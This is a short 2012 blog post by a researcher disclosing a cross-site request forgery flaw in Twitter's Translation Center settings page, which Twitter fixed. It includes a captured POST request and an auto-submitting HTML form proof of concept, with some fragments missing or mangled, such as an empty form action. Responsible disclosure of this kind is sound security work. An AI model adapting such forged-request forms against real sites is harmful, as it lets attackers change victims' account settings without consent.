Twitter Whitehat Vulnerability for 2012: Translation Center CSRF/XSRF

October 18, 2012 Prakhar Prasad 2 minutes

    On 28th September 2012, I found a Cross-Site Request Forgery vulnerability on which is the Twitter Translation Center

    While checking the service I landed up on the Accounts Settings page which looked like this.

    So we’ve two options here, first one toggles the Twitter Badge setting on and second one toggles the badge related notification.

    POST request which disables both the settings looks like this:

    POST /user/update HTTP/1.1
    User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:16.0) Gecko/20100101 Firefox/16.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    DNT: 1
    Proxy-Connection: keep-alive
    Cookie: <cookies>
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 175

    Now in the POST content, parameters of our interest are authenticity_token which is the CSRF prevention token generated by Twitter, user[badging_exempted] and user[receive_badge_email] toggles the badge related settings, user[id] is the user id of user, in my case it was 809244 and is static.

    So normally to prevent CSRF on this page authenticity_token needs to be verified on server-side, right ? but this wasn’t the situation when I checked it. The server allowed the form to be submitted without even checking the authenticity_token, which rendered it useless.So we had a CSRF here.

    The final Proof-of-Concept code I sent to Twitter Security Team to demonstrate CSRF existence looked like this:

    <body onload=document.getElementById('xsrf').submit()>
    <form id='xsrf' method="post" action="">
    <input type='hidden' name='user[badging_exempted]' value='0'></input>
    <input type='hidden' name='user[id]=user[id]' value='809244'></input>
    <input type='hidden' name='user[receive_badge_email]' value='0'></input>

    _jim of Twitter Security Team replied within 1 hour of my initial bug report which said the team is investigating the issue.On 16th October the issue was addressed and then onwards the authenticity_token gets checked on the server-side. Any modification to the token results in an error page.

    I’m very thankful to Twitter Team for putting my name along with other white-hats on “Security at Twitter” Page.

    Conclusively I would thank _jim who kept me in sync while the issue was investigated and addressed.